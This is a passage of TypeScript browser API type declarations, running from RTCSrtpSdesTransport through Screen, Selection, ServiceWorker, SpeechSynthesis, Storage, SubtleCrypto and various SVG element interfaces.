RTCSrtpSdesTransport, ev: RTCSrtpSdesTransportEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCSrtpSdesTransport: {\\n    prototype: RTCSrtpSdesTransport;\\n    new(transport: RTCIceTransport, encryptParameters: RTCSrtpSdesParameters, decryptParameters: RTCSrtpSdesParameters): RTCSrtpSdesTransport;\\n    getLocalParameters(): RTCSrtpSdesParameters[];\\n};\\n\\ninterface RTCSsrcConflictEvent extends Event {\\n    readonly ssrc: number;\\n}\\n\\ndeclare var RTCSsrcConflictEvent: {\\n    prototype: RTCSsrcConflictEvent;\\n    new(): RTCSsrcConflictEvent;\\n};\\n\\ninterface RTCStatsProvider extends EventTarget {\\n    getStats(): Promise<RTCStatsReport>;\\n    msGetStats(): Promise<RTCStatsReport>;\\n}\\n\\ndeclare var RTCStatsProvider: {\\n    prototype: RTCStatsProvider;\\n    new(): RTCStatsProvider;\\n};\\n\\ninterface ScopedCredential {\\n    readonly id: ArrayBuffer;\\n    readonly type: ScopedCredentialType;\\n}\\n\\ndeclare var ScopedCredential: {\\n    prototype: ScopedCredential;\\n    new(): ScopedCredential;\\n};\\n\\ninterface ScopedCredentialInfo {\\n    readonly credential: ScopedCredential;\\n    readonly publicKey: CryptoKey;\\n}\\n\\ndeclare var ScopedCredentialInfo: {\\n    prototype: ScopedCredentialInfo;\\n    new(): ScopedCredentialInfo;\\n};\\n\\ninterface ScreenEventMap {\\n    \"MSOrientationChange\": Event;\\n}\\n\\ninterface Screen extends EventTarget {\\n    readonly availHeight: number;\\n    readonly availWidth: number;\\n    bufferDepth: number;\\n    readonly colorDepth: number;\\n    readonly deviceXDPI: number;\\n    readonly deviceYDPI: number;\\n    readonly fontSmoothingEnabled: boolean;\\n    readonly height: number;\\n    readonly logicalXDPI: number;\\n    readonly logicalYDPI: number;\\n    readonly msOrientation: string;\\n    onmsorientationchange: (this: Screen, ev: Event) => any;\\n    readonly pixelDepth: number;\\n    readonly systemXDPI: number;\\n    readonly systemYDPI: number;\\n    readonly width: number;\\n    msLockOrientation(orientations: string | string[]): boolean;\\n    msUnlockOrientation(): void;\\n    addEventListener<K extends keyof ScreenEventMap>(type: K, listener: (this: Screen, ev: ScreenEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Screen: {\\n    prototype: Screen;\\n    new(): Screen;\\n};\\n\\ninterface ScriptNotifyEvent extends Event {\\n    readonly callingUri: string;\\n    readonly value: string;\\n}\\n\\ndeclare var ScriptNotifyEvent: {\\n    prototype: ScriptNotifyEvent;\\n    new(): ScriptNotifyEvent;\\n};\\n\\ninterface ScriptProcessorNodeEventMap {\\n    \"audioprocess\": AudioProcessingEvent;\\n}\\n\\ninterface ScriptProcessorNode extends AudioNode {\\n    readonly bufferSize: number;\\n    onaudioprocess: (this: ScriptProcessorNode, ev: AudioProcessingEvent) => any;\\n    addEventListener<K extends keyof ScriptProcessorNodeEventMap>(type: K, listener: (this: ScriptProcessorNode, ev: ScriptProcessorNodeEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ScriptProcessorNode: {\\n    prototype: ScriptProcessorNode;\\n    new(): ScriptProcessorNode;\\n};\\n\\ninterface Selection {\\n    readonly anchorNode: Node;\\n    readonly anchorOffset: number;\\n    readonly baseNode: Node;\\n    readonly baseOffset: number;\\n    readonly extentNode: Node;\\n    readonly extentOffset: number;\\n    readonly focusNode: Node;\\n    readonly focusOffset: number;\\n    readonly isCollapsed: boolean;\\n    readonly rangeCount: number;\\n    readonly type: string;\\n    addRange(range: Range): void;\\n    collapse(parentNode: Node, offset: number): void;\\n    collapseToEnd(): void;\\n    collapseToStart(): void;\\n    containsNode(node: Node, partlyContained: boolean): boolean;\\n    deleteFromDocument(): void;\\n    empty(): void;\\n    extend(newNode: Node, offset: number): void;\\n    getRangeAt(index: number): Range;\\n    removeAllRanges(): void;\\n    removeRange(range: Range): void;\\n    selectAllChildren(parentNode: Node): void;\\n    setBaseAndExtent(baseNode: Node, baseOffset: number, extentNode: Node, extentOffset: number): void;\\n    setPosition(parentNode: Node, offset: number): void;\\n    toString(): string;\\n}\\n\\ndeclare var Selection: {\\n    prototype: Selection;\\n    new(): Selection;\\n};\\n\\ninterface ServiceWorkerEventMap extends AbstractWorkerEventMap {\\n    \"statechange\": Event;\\n}\\n\\ninterface ServiceWorker extends EventTarget, AbstractWorker {\\n    onstatechange: (this: ServiceWorker, ev: Event) => any;\\n    readonly scriptURL: USVString;\\n    readonly state: ServiceWorkerState;\\n    postMessage(message: any, transfer?: any[]): void;\\n    addEventListener<K extends keyof ServiceWorkerEventMap>(type: K, listener: (this: ServiceWorker, ev: ServiceWorkerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ServiceWorker: {\\n    prototype: ServiceWorker;\\n    new(): ServiceWorker;\\n};\\n\\ninterface ServiceWorkerContainerEventMap {\\n    \"controllerchange\": Event;\\n    \"message\": ServiceWorkerMessageEvent;\\n}\\n\\ninterface ServiceWorkerContainer extends EventTarget {\\n    readonly controller: ServiceWorker | null;\\n    oncontrollerchange: (this: ServiceWorkerContainer, ev: Event) => any;\\n    onmessage: (this: ServiceWorkerContainer, ev: ServiceWorkerMessageEvent) => any;\\n    readonly ready: Promise<ServiceWorkerRegistration>;\\n    getRegistration(clientURL?: USVString): Promise<any>;\\n    getRegistrations(): any;\\n    register(scriptURL: USVString, options?: RegistrationOptions): Promise<ServiceWorkerRegistration>;\\n    addEventListener<K extends keyof ServiceWorkerContainerEventMap>(type: K, listener: (this: ServiceWorkerContainer, ev: ServiceWorkerContainerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ServiceWorkerContainer: {\\n    prototype: ServiceWorkerContainer;\\n    new(): ServiceWorkerContainer;\\n};\\n\\ninterface ServiceWorkerMessageEvent extends Event {\\n    readonly data: any;\\n    readonly lastEventId: string;\\n    readonly origin: string;\\n    readonly ports: MessagePort[] | null;\\n    readonly source: ServiceWorker | MessagePort | null;\\n}\\n\\ndeclare var ServiceWorkerMessageEvent: {\\n    prototype: ServiceWorkerMessageEvent;\\n    new(type: string, eventInitDict?: ServiceWorkerMessageEventInit): ServiceWorkerMessageEvent;\\n};\\n\\ninterface ServiceWorkerRegistrationEventMap {\\n    \"updatefound\": Event;\\n}\\n\\ninterface ServiceWorkerRegistration extends EventTarget {\\n    readonly active: ServiceWorker | null;\\n    readonly installing: ServiceWorker | null;\\n    onupdatefound: (this: ServiceWorkerRegistration, ev: Event) => any;\\n    readonly pushManager: PushManager;\\n    readonly scope: USVString;\\n    readonly sync: SyncManager;\\n    readonly waiting: ServiceWorker | null;\\n    getNotifications(filter?: GetNotificationOptions): any;\\n    showNotification(title: string, options?: NotificationOptions): Promise<void>;\\n    unregister(): Promise<boolean>;\\n    update(): Promise<void>;\\n    addEventListener<K extends keyof ServiceWorkerRegistrationEventMap>(type: K, listener: (this: ServiceWorkerRegistration, ev: ServiceWorkerRegistrationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ServiceWorkerRegistration: {\\n    prototype: ServiceWorkerRegistration;\\n    new(): ServiceWorkerRegistration;\\n};\\n\\ninterface SourceBuffer extends EventTarget {\\n    appendWindowEnd: number;\\n    appendWindowStart: number;\\n    readonly audioTracks: AudioTrackList;\\n    readonly buffered: TimeRanges;\\n    mode: AppendMode;\\n    timestampOffset: number;\\n    readonly updating: boolean;\\n    readonly videoTracks: VideoTrackList;\\n    abort(): void;\\n    appendBuffer(data: ArrayBuffer | ArrayBufferView): void;\\n    appendStream(stream: MSStream, maxSize?: number): void;\\n    remove(start: number, end: number): void;\\n}\\n\\ndeclare var SourceBuffer: {\\n    prototype: SourceBuffer;\\n    new(): SourceBuffer;\\n};\\n\\ninterface SourceBufferList extends EventTarget {\\n    readonly length: number;\\n    item(index: number): SourceBuffer;\\n    [index: number]: SourceBuffer;\\n}\\n\\ndeclare var SourceBufferList: {\\n    prototype: SourceBufferList;\\n    new(): SourceBufferList;\\n};\\n\\ninterface SpeechSynthesisEventMap {\\n    \"voiceschanged\": Event;\\n}\\n\\ninterface SpeechSynthesis extends EventTarget {\\n    onvoiceschanged: (this: SpeechSynthesis, ev: Event) => any;\\n    readonly paused: boolean;\\n    readonly pending: boolean;\\n    readonly speaking: boolean;\\n    cancel(): void;\\n    getVoices(): SpeechSynthesisVoice[];\\n    pause(): void;\\n    resume(): void;\\n    speak(utterance: SpeechSynthesisUtterance): void;\\n    addEventListener<K extends keyof SpeechSynthesisEventMap>(type: K, listener: (this: SpeechSynthesis, ev: SpeechSynthesisEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SpeechSynthesis: {\\n    prototype: SpeechSynthesis;\\n    new(): SpeechSynthesis;\\n};\\n\\ninterface SpeechSynthesisEvent extends Event {\\n    readonly charIndex: number;\\n    readonly elapsedTime: number;\\n    readonly name: string;\\n    readonly utterance: SpeechSynthesisUtterance | null;\\n}\\n\\ndeclare var SpeechSynthesisEvent: {\\n    prototype: SpeechSynthesisEvent;\\n    new(type: string, eventInitDict?: SpeechSynthesisEventInit): SpeechSynthesisEvent;\\n};\\n\\ninterface SpeechSynthesisUtteranceEventMap {\\n    \"boundary\": Event;\\n    \"end\": Event;\\n    \"error\": Event;\\n    \"mark\": Event;\\n    \"pause\": Event;\\n    \"resume\": Event;\\n    \"start\": Event;\\n}\\n\\ninterface SpeechSynthesisUtterance extends EventTarget {\\n    lang: string;\\n    onboundary: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onend: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onerror: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onmark: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onpause: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onresume: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onstart: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    pitch: number;\\n    rate: number;\\n    text: string;\\n    voice: SpeechSynthesisVoice;\\n    volume: number;\\n    addEventListener<K extends keyof SpeechSynthesisUtteranceEventMap>(type: K, listener: (this: SpeechSynthesisUtterance, ev: SpeechSynthesisUtteranceEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SpeechSynthesisUtterance: {\\n    prototype: SpeechSynthesisUtterance;\\n    new(text?: string): SpeechSynthesisUtterance;\\n};\\n\\ninterface SpeechSynthesisVoice {\\n    readonly default: boolean;\\n    readonly lang: string;\\n    readonly localService: boolean;\\n    readonly name: string;\\n    readonly voiceURI: string;\\n}\\n\\ndeclare var SpeechSynthesisVoice: {\\n    prototype: SpeechSynthesisVoice;\\n    new(): SpeechSynthesisVoice;\\n};\\n\\ninterface StereoPannerNode extends AudioNode {\\n    readonly pan: AudioParam;\\n}\\n\\ndeclare var StereoPannerNode: {\\n    prototype: StereoPannerNode;\\n    new(): StereoPannerNode;\\n};\\n\\ninterface Storage {\\n    readonly length: number;\\n    clear(): void;\\n    getItem(key: string): string | null;\\n    key(index: number): string | null;\\n    removeItem(key: string): void;\\n    setItem(key: string, data: string): void;\\n    [key: string]: any;\\n    [index: number]: string;\\n}\\n\\ndeclare var Storage: {\\n    prototype: Storage;\\n    new(): Storage;\\n};\\n\\ninterface StorageEvent extends Event {\\n    readonly url: string;\\n    key?: string;\\n    oldValue?: string;\\n    newValue?: string;\\n    storageArea?: Storage;\\n}\\n\\ndeclare var StorageEvent: {\\n    prototype: StorageEvent;\\n    new (type: string, eventInitDict?: StorageEventInit): StorageEvent;\\n};\\n\\ninterface StyleMedia {\\n    readonly type: string;\\n    matchMedium(mediaquery: string): boolean;\\n}\\n\\ndeclare var StyleMedia: {\\n    prototype: StyleMedia;\\n    new(): StyleMedia;\\n};\\n\\ninterface StyleSheet {\\n    disabled: boolean;\\n    readonly href: string;\\n    readonly media: MediaList;\\n    readonly ownerNode: Node;\\n    readonly parentStyleSheet: StyleSheet;\\n    readonly title: string;\\n    readonly type: string;\\n}\\n\\ndeclare var StyleSheet: {\\n    prototype: StyleSheet;\\n    new(): StyleSheet;\\n};\\n\\ninterface StyleSheetList {\\n    readonly length: number;\\n    item(index?: number): StyleSheet;\\n    [index: number]: StyleSheet;\\n}\\n\\ndeclare var StyleSheetList: {\\n    prototype: StyleSheetList;\\n    new(): StyleSheetList;\\n};\\n\\ninterface StyleSheetPageList {\\n    readonly length: number;\\n    item(index: number): CSSPageRule;\\n    [index: number]: CSSPageRule;\\n}\\n\\ndeclare var StyleSheetPageList: {\\n    prototype: StyleSheetPageList;\\n    new(): StyleSheetPageList;\\n};\\n\\ninterface SubtleCrypto {\\n    decrypt(algorithm: string | RsaOaepParams | AesCtrParams | AesCbcParams | AesCmacParams | AesGcmParams | AesCfbParams, key: CryptoKey, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    deriveBits(algorithm: string | EcdhKeyDeriveParams | DhKeyDeriveParams | ConcatParams | HkdfCtrParams | Pbkdf2Params, baseKey: CryptoKey, length: number): PromiseLike<ArrayBuffer>;\\n    deriveKey(algorithm: string | EcdhKeyDeriveParams | DhKeyDeriveParams | ConcatParams | HkdfCtrParams | Pbkdf2Params, baseKey: CryptoKey, derivedKeyType: string | AesDerivedKeyParams | HmacImportParams | ConcatParams | HkdfCtrParams | Pbkdf2Params, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    digest(algorithm: AlgorithmIdentifier, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    encrypt(algorithm: string | RsaOaepParams | AesCtrParams | AesCbcParams | AesCmacParams | AesGcmParams | AesCfbParams, key: CryptoKey, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    exportKey(format: \"jwk\", key: CryptoKey): PromiseLike<JsonWebKey>;\\n    exportKey(format: \"raw\" | \"pkcs8\" | \"spki\", key: CryptoKey): PromiseLike<ArrayBuffer>;\\n    exportKey(format: string, key: CryptoKey): PromiseLike<JsonWebKey | ArrayBuffer>;\\n    generateKey(algorithm: string, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKeyPair | CryptoKey>;\\n    generateKey(algorithm: RsaHashedKeyGenParams | EcKeyGenParams | DhKeyGenParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKeyPair>;\\n    generateKey(algorithm: AesKeyGenParams | HmacKeyGenParams | Pbkdf2Params, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    importKey(format: \"jwk\", keyData: JsonWebKey, algorithm: string | RsaHashedImportParams | EcKeyImportParams | HmacImportParams | DhImportKeyParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    importKey(format: \"raw\" | \"pkcs8\" | \"spki\", keyData: BufferSource, algorithm: string | RsaHashedImportParams | EcKeyImportParams | HmacImportParams | DhImportKeyParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    importKey(format: string, keyData: JsonWebKey | BufferSource, algorithm: string | RsaHashedImportParams | EcKeyImportParams | HmacImportParams | DhImportKeyParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    sign(algorithm: string | RsaPssParams | EcdsaParams | AesCmacParams, key: CryptoKey, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    unwrapKey(format: string, wrappedKey: BufferSource, unwrappingKey: CryptoKey, unwrapAlgorithm: AlgorithmIdentifier, unwrappedKeyAlgorithm: AlgorithmIdentifier, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    verify(algorithm: string | RsaPssParams | EcdsaParams | AesCmacParams, key: CryptoKey, signature: BufferSource, data: BufferSource): PromiseLike<boolean>;\\n    wrapKey(format: string, key: CryptoKey, wrappingKey: CryptoKey, wrapAlgorithm: AlgorithmIdentifier): PromiseLike<ArrayBuffer>;\\n}\\n\\ndeclare var SubtleCrypto: {\\n    prototype: SubtleCrypto;\\n    new(): SubtleCrypto;\\n};\\n\\ninterface SVGAElement extends SVGGraphicsElement, SVGURIReference {\\n    readonly target: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGAElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGAElement: {\\n    prototype: SVGAElement;\\n    new(): SVGAElement;\\n};\\n\\ninterface SVGAngle {\\n    readonly unitType: number;\\n    value: number;\\n    valueAsString: string;\\n    valueInSpecifiedUnits: number;\\n    convertToSpecifiedUnits(unitType: number): void;\\n    newValueSpecifiedUnits(unitType: number, valueInSpecifiedUnits: number): void;\\n    readonly SVG_ANGLETYPE_DEG: number;\\n    readonly SVG_ANGLETYPE_GRAD: number;\\n    readonly SVG_ANGLETYPE_RAD: number;\\n    readonly SVG_ANGLETYPE_UNKNOWN: number;\\n    readonly SVG_ANGLETYPE_UNSPECIFIED: number;\\n}\\n\\ndeclare var SVGAngle: {\\n    prototype: SVGAngle;\\n    new(): SVGAngle;\\n    readonly SVG_ANGLETYPE_DEG: number;\\n    readonly SVG_ANGLETYPE_GRAD: number;\\n    readonly SVG_ANGLETYPE_RAD: number;\\n    readonly SVG_ANGLETYPE_UNKNOWN: number;\\n    readonly SVG_ANGLETYPE_UNSPECIFIED: number;\\n};\\n\\ninterface SVGAnimatedAngle {\\n    readonly animVal: SVGAngle;\\n    readonly baseVal: SVGAngle;\\n}\\n\\ndeclare var SVGAnimatedAngle: {\\n    prototype: SVGAnimatedAngle;\\n    new(): SVGAnimatedAngle;\\n};\\n\\ninterface SVGAnimatedBoolean {\\n    readonly animVal: boolean;\\n    baseVal: boolean;\\n}\\n\\ndeclare var SVGAnimatedBoolean: {\\n    prototype: SVGAnimatedBoolean;\\n    new(): SVGAnimatedBoolean;\\n};\\n\\ninterface SVGAnimatedEnumeration {\\n    readonly animVal: number;\\n    baseVal: number;\\n}\\n\\ndeclare var SVGAnimatedEnumeration: {\\n    prototype: SVGAnimatedEnumeration;\\n    new(): SVGAnimatedEnumeration;\\n};\\n\\ninterface SVGAnimatedInteger {\\n    readonly animVal: number;\\n    baseVal: number;\\n}\\n\\ndeclare var SVGAnimatedInteger: {\\n    prototype: SVGAnimatedInteger;\\n    new(): SVGAnimatedInteger;\\n};\\n\\ninterface SVGAnimatedLength {\\n    readonly animVal: SVGLength;\\n    readonly baseVal: SVGLength;\\n}\\n\\ndeclare var SVGAnimatedLength: {\\n    prototype: SVGAnimatedLength;\\n    new(): SVGAnimatedLength;\\n};\\n\\ninterface SVGAnimatedLengthList {\\n    readonly animVal: SVGLengthList;\\n    readonly baseVal: SVGLengthList;\\n}\\n\\ndeclare var SVGAnimatedLengthList: {\\n    prototype: SVGAnimatedLengthList;\\n    new(): SVGAnimatedLengthList;\\n};\\n\\ninterface SVGAnimatedNumber {\\n    readonly animVal: number;\\n    baseVal: number;\\n}\\n\\ndeclare var SVGAnimatedNumber: {\\n    prototype: SVGAnimatedNumber;\\n    new(): SVGAnimatedNumber;\\n};\\n\\ninterface SVGAnimatedNumberList {\\n    readonly animVal: SVGNumberList;\\n    readonly baseVal: SVGNumberList;\\n}\\n\\ndeclare var SVGAnimatedNumberList: {\\n    prototype: SVGAnimatedNumberList;\\n    new(): SVGAnimatedNumberList;\\n};\\n\\ninterface SVGAnimatedPreserveAspectRatio {\\n    readonly animVal: SVGPreserveAspectRatio;\\n    readonly baseVal: SVGPreserveAspectRatio;\\n}\\n\\ndeclare var SVGAnimatedPreserveAspectRatio: {\\n    prototype: SVGAnimatedPreserveAspectRatio;\\n    new(): SVGAnimatedPreserveAspectRatio;\\n};\\n\\ninterface SVGAnimatedRect {\\n    readonly animVal: SVGRect;\\n    readonly baseVal: SVGRect;\\n}\\n\\ndeclare var SVGAnimatedRect: {\\n    prototype: SVGAnimatedRect;\\n    new(): SVGAnimatedRect;\\n};\\n\\ninterface SVGAnimatedString {\\n    readonly animVal: string;\\n    baseVal: string;\\n}\\n\\ndeclare var SVGAnimatedString: {\\n    prototype: SVGAnimatedString;\\n    new(): SVGAnimatedString;\\n};\\n\\ninterface SVGAnimatedTransformList {\\n    readonly animVal: SVGTransformList;\\n    readonly baseVal: SVGTransformList;\\n}\\n\\ndeclare var SVGAnimatedTransformList: {\\n    prototype: SVGAnimatedTransformList;\\n    new(): SVGAnimatedTransformList;\\n};\\n\\ninterface SVGCircleElement extends SVGGraphicsElement {\\n    readonly cx: SVGAnimatedLength;\\n    readonly cy: SVGAnimatedLength;\\n    readonly r: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGCircleElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGCircleElement: {\\n    prototype: SVGCircleElement;\\n    new(): SVGCircleElement;\\n};\\n\\ninterface SVGClipPathElement extends SVGGraphicsElement, SVGUnitTypes {\\n    readonly clipPathUnits: SVGAnimatedEnumeration;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGClipPathElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGClipPathElement: {\\n    prototype: SVGClipPathElement;\\n    new(): SVGClipPathElement;\\n};\\n\\ninterface SVGComponentTransferFunctionElement extends SVGElement {\\n    readonly amplitude: SVGAnimatedNumber;\\n    readonly exponent: SVGAnimatedNumber;\\n    readonly intercept: SVGAnimatedNumber;\\n    readonly offset: SVGAnimatedNumber;\\n    readonly slope: SVGAnimatedNumber;\\n    readonly tableValues: SVGAnimatedNumberList;\\n    readonly type: SVGAnimatedEnumeration;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_GAMMA: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_LINEAR: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_TABLE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGComponentTransferFunctionElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGComponentTransferFunctionElement: {\\n    prototype: SVGComponentTransferFunctionElement;\\n    new(): SVGComponentTransferFunctionElement;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_GAMMA: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_LINEAR: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_TABLE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGDefsElement extends SVGGraphicsElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGDefsElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGDefsElement: {\\n    prototype: SVGDefsElement;\\n    new(): SVGDefsElement;\\n};\\n\\ninterface SVGDescElement extends SVGElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGDescElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGDescElement: {\\n    prototype: SVGDescElement;\\n    new(): SVGDescElement;\\n};\\n\\ninterface SVGElementEventMap extends ElementEventMap {\\n    \"click\": MouseEvent;\\n    \"dblclick\": MouseEvent;\\n    \"focusin\": FocusEvent;\\n    \"focusout\": FocusEvent;\\n    \"load\": Event;\\n    \"mousedown\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n}\\n\\ninterface SVGElement extends Element {\\n    className: any;\\n    onclick: (this: SVGElement, ev: MouseEvent) => any;\\n    ondblclick: (this: SVGElement, ev: MouseEvent) => any;\\n    onfocusin: (this: SVGElement, ev: FocusEvent) => any;\\n    onfocusout: (this: SVGElement, ev: FocusEvent) => any;\\n    onload: (this: SVGElement, ev: Event) => any;\\n    onmousedown: (this: SVGElement, ev: MouseEvent) => any;\\n    onmousemove: (this: SVGElement, ev: MouseEvent) => any;\\n    onmouseout: (this: SVGElement, ev: MouseEvent) => any;\\n    onmouseover: (this: SVGElement, ev: MouseEvent) => any;\\n    onmouseup: (this: SVGElement, ev: MouseEvent) => any;\\n    readonly ownerSVGElement: SVGSVGElement;\\n    readonly style: CSSStyleDeclaration;\\n    readonly viewportElement: SVGElement;\\n    xmlbase: string;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGElement: {\\n    prototype: SVGElement;\\n    new(): SVGElement;\\n};\\n\\ninterface SVGElementInstance extends EventTarget {\\n    readonly childNodes: SVGElementInstanceList;\\n    readonly correspondingElement: SVGElement;\\n    readonly correspondingUseElement: SVGUseElement;\\n    readonly firstChild: SVGElementInstance;\\n    readonly lastChild: SVGElementInstance;\\n    readonly nextSibling: SVGElementInstance;\\n    readonly parentNode: SVGElementInstance;\\n    readonly previousSibling: SVGElementInstance;\\n}\\n\\ndeclare var SVGElementInstance: {\\n    prototype: SVGElementInstance;\\n    new(): SVGElementInstance;\\n};\\n\\ninterface SVGElementInstanceList {\\n    readonly length: number;\\n    item(index: number): SVGElementInstance;\\n}\\n\\ndeclare var SVGElementInstanceList: {\\n    prototype: SVGElementInstanceList;\\n    new(): SVGElementInstanceList;\\n};\\n\\ninterface SVGEllipseElement extends SVGGraphicsElement {\\n    readonly cx: SVGAnimatedLength;\\n    readonly cy: SVGAnimatedLength;\\n    readonly rx: SVGAnimatedLength;\\n    readonly ry: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGEllipseElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGEllipseElement: {\\n    prototype: SVGEllipseElement;\\n    new(): SVGEllipseElement;\\n};\\n\\ninterface SVGFEBlendElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly in2: SVGAnimatedString;\\n    readonly mode: SVGAnimatedEnumeration;\\n    readonly SVG_FEBLEND_MODE_COLOR: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_BURN: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_DODGE: number;\\n    readonly SVG_FEBLEND_MODE_DARKEN: number;\\n    readonly SVG_FEBLEND_MODE_DIFFERENCE: number;\\n    readonly SVG_FEBLEND_MODE_EXCLUSION: number;\\n    readonly SVG_FEBLEND_MODE_HARD_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_HUE: number;\\n    readonly SVG_FEBLEND_MODE_LIGHTEN: number;\\n    readonly SVG_FEBLEND_MODE_LUMINOSITY: number;\\n    readonly SVG_FEBLEND_MODE_MULTIPLY: number;\\n    readonly SVG_FEBLEND_MODE_NORMAL: number;\\n    readonly SVG_FEBLEND_MODE_OVERLAY: number;\\n    readonly SVG_FEBLEND_MODE_SATURATION: number;\\n    readonly SVG_FEBLEND_MODE_SCREEN: number;\\n    readonly SVG_FEBLEND_MODE_SOFT_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEBlendElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEBlendElement: {\\n    prototype: SVGFEBlendElement;\\n    new(): SVGFEBlendElement;\\n    readonly SVG_FEBLEND_MODE_COLOR: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_BURN: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_DODGE: number;\\n    readonly SVG_FEBLEND_MODE_DARKEN: number;\\n    readonly SVG_FEBLEND_MODE_DIFFERENCE: number;\\n    readonly SVG_FEBLEND_MODE_EXCLUSION: number;\\n    readonly SVG_FEBLEND_MODE_HARD_LIGHT: number;\\n    readonly 